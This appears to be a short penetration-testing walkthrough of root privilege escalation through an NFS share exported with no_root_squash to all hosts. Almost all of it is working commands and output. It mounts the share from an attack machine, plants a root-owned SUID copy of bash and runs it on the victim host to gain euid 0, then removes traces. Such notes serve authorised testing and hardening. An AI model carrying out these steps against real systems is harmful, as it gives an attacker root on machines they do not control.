By default, NFS shares change requests from the root user into the non-privileged user nfsnobody, the root privileges are "squashed". With no_root_squash configured requests are not "squashed", meaning any client that mount this directory can read, write and modify files within the directory as root on the host machine.
This is the remote version of this privilege escalation, meaning there is no explicit host configured in /etc/exports, all (*) hosts are allowed to mount the nfs share.
## Confirm that 'no_root_squash' is configured
[lowPrivUser@victimHost nfs]$ cat /etc/exports
/share/nfs *(rw,insecure,sync,no_subtree_check,no_root_squash)
## Low privileged account isn't able to read nfs directory
[lowPrivUser@victimHost share]$ ls -al
drwxr-xr-x 7 root root 75 Jun 23 08:56 .
dr-xr-xr-x. 20 root root 278 Aug 25 2022 ..
drwxr-x--- 2 admUser admUser 189 Feb 19 2021 nfs
## Mount share from local attack machine
➜ /tmp mkdir pe
➜ /tmp mount -t nfs victimHost:/share/nfs /tmp/pe
➜ /tmp cd pe
➜ pe ls -al
total 5684
drwxr-x--- 2 void void 189 Feb 19 2021 .
drwxrwxrwt 21 root root 69632 Jul 3 12:49 ..
-rw-r--r-- 1 void void 823 Feb 19 2021 secret.conf
## Change privileges of mounted share so lowPrivUser can copy /bin/bash to share
➜ /tmp chmod 777 pe
[lowPrivUser@victimHost share]$ cd nfs
[lowPrivUser@victimHost nfs]$ cp /bin/bash .
## Change owner and set SUID bit on binary. Execute on victimHost to priesc
➜ pe chmod +s bash
➜ pe chown root:root bash
[lowPrivUser@victimHost nfs]$ ./bash -p
bash-4.4# id
uid=1651499380(lowPrivUser) gid=1102800513(domain users) euid=0(root) egid=0(root) groups=0(root)
## Cleaning
➜ pe rm bash
➜ pe cd ..
➜ /tmp chmod 750 pe
💀➜ /tmp umount pe
